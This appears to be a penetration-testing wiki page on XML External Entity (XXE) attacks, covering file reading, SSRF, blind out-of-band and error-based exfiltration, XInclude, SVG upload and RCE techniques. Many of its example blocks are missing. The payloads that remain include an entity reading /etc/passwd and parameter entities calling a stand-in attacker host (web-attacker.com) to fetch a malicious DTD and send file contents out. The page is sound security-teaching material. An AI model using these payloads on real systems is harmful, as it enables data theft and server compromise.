XXE - XEE - XML External Entity
An XML External Entity attack is a type of attack against an application that parses XML input.
XML Basics
Most of this part was taken from this amazing Portswigger page: https://portswigger.net/web-security/xxe/xml-entities
What is XML?
XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data. Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history, XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format.
What are XML entities?
XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language. For example, the entities <
and >
represent the characters <
and >
. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data.
What are XML elements?
Element type declarations set the rules for the type and number of elements that may appear in an XML document, what elements may appear inside each other, and what order they must appear in. For example:
<!ELEMENT stockCheck ANY>
Means that any object could be inside the parent<stockCheck></stockCheck>
<!ELEMENT stockCheck EMPTY> Means that it should be empty
<stockCheck></stockCheck>
<!ELEMENT stockCheck (productId,storeId)> Declares that
<stockCheck>
can have the children<productId>
and<storeId>
What is document type definition?
The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE
element at the start of the XML document. The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two.
What are XML custom entities?
XML allows custom entities to be defined within the DTD. For example:
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
This definition means that any usage of the entity reference &myentity;
within the XML document will be replaced with the defined value: "my entity value
".
What are XML external entities?
XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.
The declaration of an external entity uses the SYSTEM
keyword and must specify a URL from which the value of the entity should be loaded. For example:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
The URL can use the file://
protocol, and so external entities can be loaded from file. For example:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XML external entities provide the primary means by which XML external entity attacks arise.
What are XML Parameter entities?
Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity includes the percent character before the entity name:
<!ENTITY % myparameterentity "my parameter entity value" >
And second, parameter entities are referenced using the percent character instead of the usual ampersand: %myparameterentity;
This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
This XXE payload declares an XML parameter entity called xxe
and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.
Main attacks
New Entity test
In this attack I'm going to test if a simple new ENTITY declaration is working
Read file
Lets try to read /etc/passwd
in different ways. For Windows you could try to read: C:\windows\system32\drivers\etc\hosts
In this first case notice that SYSTEM "file:///etc/passwd" will also work.
This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs)
In this third case notice we are declaring the Element stockCheck
as ANY
SSRF
An XXE could also bu used to abuse a SSRF inside a cloud
Blind SSRF
Using the previously commented technique you can make the server access a server you control to show it's vulnerable. But, if that's not working, maybe is because XML entities aren't allowed, in that cause you could try using XML parameter entities:
"Blind" SSRF - Exfiltrate data out-of-band
In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via ftp://). This explanation as taken from Portswiggers lab here.
An example of a malicious DTD to exfiltrate the contents of the /etc/hostname
file is as follows:
This DTD carries out the following steps:
Defines an XML parameter entity called
file
, containing the contents of the/etc/passwd
file.Defines an XML parameter entity called
eval
, containing a dynamic declaration of another XML parameter entity calledexfiltrate
. Theexfiltrate
entity will be evaluated by making an HTTP request to the attacker's web server containing the value of thefile
entity within the URL query string.Uses the
eval
entity, which causes the dynamic declaration of theexfiltrate
entity to be performed.Uses the
exfiltrate
entity, so that its value is evaluated by requesting the specified URL.
The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:
http://web-attacker.com/malicious.dtd
Finally, the attacker must submit the following XXE payload to the vulnerable application:
This XXE payload declares an XML parameter entity called xxe
and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the /etc/passwd
file is transmitted to the attacker's server.
Error Based(External DTD)
In this case we are going to make the server loads a malicious DTD that will show the content of a file inside an error message (this is only valid if you can see error messages). Example from here.
You can trigger an XML parsing error message containing the contents of the /etc/passwd
file using a malicious external DTD as follows:
This DTD carries out the following steps:
Defines an XML parameter entity called
file
, containing the contents of the/etc/passwd
file.Defines an XML parameter entity called
eval
, containing a dynamic declaration of another XML parameter entity callederror
. Theerror
entity will be evaluated by loading a nonexistent file whose name contains the value of thefile
entity.Uses the
eval
entity, which causes the dynamic declaration of theerror
entity to be performed.Uses the
error
entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the/etc/passwd
file.
Invoke the external DTD error with:
And you should see the contents of the file inside error message of the response of the web server.
Please notice that external DTD allows us to include one entity inside the second (eval
), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).
Error Based (system DTD)
So what about blind XXE vulnerabilities when out-of-band interactions are blocked (external connections aren't available)?. Information from here.
In this situation, it might still be possible to trigger error messages containing sensitive data, due to a loophole in the XML language specification. If a document's DTD uses a hybrid of internal and external DTD declarations, then the internal DTD can redefine entities that are declared in the external DTD. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is relaxed.
This means that an attacker can employ the error-based XXE technique from within an internal DTD, provided the XML parameter entity that they use is redefining an entity that is declared within an external DTD. Of course, if out-of-band connections are blocked, then the external DTD cannot be loaded from a remote location. Instead, it needs to be an external DTD file that is local to the application server. Essentially, the attack involves invoking a DTD file that happens to exist on the local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error containing sensitive data.
For example, suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd
, and this DTD file defines an entity called custom_entity
. An attacker can trigger an XML parsing error message containing the contents of the /etc/passwd
file by submitting a hybrid DTD like the following:
This DTD carries out the following steps:
Defines an XML parameter entity called
local_dtd
, containing the contents of the external DTD file that exists on the server filesystem.Redefines the XML parameter entity called
custom_entity
, which is already defined in the external DTD file. The entity is redefined as containing the error-based XXE exploit that was already described, for triggering an error message containing the contents of the/etc/passwd
file.Uses the
local_dtd
entity, so that the external DTD is interpreted, including the redefined value of thecustom_entity
entity. This results in the desired error message.Real world example: Systems using the GNOME desktop environment often have a DTD at
/usr/share/yelp/dtd/docbookx.dtd
containing an entity calledISOamso
As this technique uses an internal DTD you need to find a valid one first. You could do this installing the same OS / Software the server is using and searching some default DTDs, or grabbing a list of default DTDs inside systems and check if any of them exists:
Finding DTDs inside the system
In the following awesome github repo you can find paths of DTDs that can be present in the system:
Moreover, if you have the Docker image of the victim system, you can use the tool of the same repo to scan the image and find the path of DTDs present inside the system. Read the Readme of the github to learn how.
Jar: protocol
The jar
protocol is only available on Java applications. It allows to access files inside a PKZIP file (.zip
, .jar
, ...) and works for local and remote files:
To be able to access files inside PKZIP files is super useful to abuse XXE via system DTD files. Check this section to learn how to abuse system DTD files.
Behind the scenes
It makes an HTTP request to load the zip archive.
https://download.host.com/myarchive.zip
It saves the HTTP response to a temporary location.
/tmp/...
It extracts of the archive.
It reads the
file.zip
It delete temporary files.
Note that it's possible to stop the flow in the second step. The trick is to never close the connection when serving the file. This tools can be useful: one in python slow_http_server.py
and one in javaslowserver.jar
.
Once the server has downloaded your file, you need to find its location by browsing the temp directory. Being random, the file path can't be predict in advance.
Writing files in a temporary directory can help to escalate another vulnerability that involves a path traversal (such as local file include, template injection, XSLT RCE, deserialization, etc).
DoS
Billion Laugh Attack
Yaml Attack
Hidden XXE Surfaces
XInclude
Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. An example of this occurs when client-submitted data is placed into a backend SOAP request, which is then processed by the backend SOAP service.
In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and so cannot define or modify a DOCTYPE
element. However, you might be able to use XInclude
instead. XInclude
is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude
attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.
To perform an XInclude
attack, you need to reference the XInclude
namespace and provide the path to the file that you wish to include. For example:
SVG - File Upload
Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.
For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.
You could also try to execute commands using the PHP "expect" wrapper:
Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.
PDF - File upload
Read the following post to learn how to exploit a XXE uploading a PDF file:
Content-Type: From x-www-urlencoded to XML
If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:
Then you might be able submit the following request, with the same result:
Content-Type: From JSON to XEE
To change the request you could use a Burp Extension named “Content Type Converter“. Here you can find this example:
Another example can be found here.
Other bypasses
Base64
This only work if the XML server accepts the data://
protocol.
UTF-7
You can use the ["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transform to UTF-7.
PHP Wrappers
Base64
Extract index.php
Extract external resource
Remote code execution
If PHP "expect" module is loaded
SOAP - XEE
RSS - XEE
Valid XML with RSS format to exploit an XXE vulnerability.
Ping back
Simple HTTP request to attackers server
Read file
Read source code
Using PHP base64 filter
Java XMLDecoder XEE to RCE
XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method readObject, he will instantly gain code execution on the server.
Using Runtime().exec()
ProcessBuilder
Tools
More resources
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html Extract info via HTTP using own external DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection https://gist.github.com/staaldraad/01415b990939494879b4 https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9 https://portswigger.net/web-security/xxe https://gosecure.github.io/xxe-workshop/#7
Last updated